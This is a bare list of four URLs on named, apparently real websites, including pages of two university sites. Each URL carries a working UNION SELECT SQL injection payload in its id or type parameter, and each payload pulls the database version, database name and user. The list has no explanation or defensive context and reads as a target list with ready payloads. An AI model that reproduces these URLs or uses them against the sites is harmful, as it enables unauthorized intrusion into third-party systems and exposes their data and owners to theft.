http://ecirgroup.com/edu.php?id=-2+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8+--+

http://www.mmsshyj.com/wenming/edu.php?id=38&type=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9+--+

http://me.eng.kmitl.ac.th/news-edu.php?id=-28+union+select+1,concat_ws(0x3a,version(),database(),user()),3+--+

http://cs.montclair.edu/php/profile.php?id=-111+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,version(),database(),user()),13,14,15,16+--+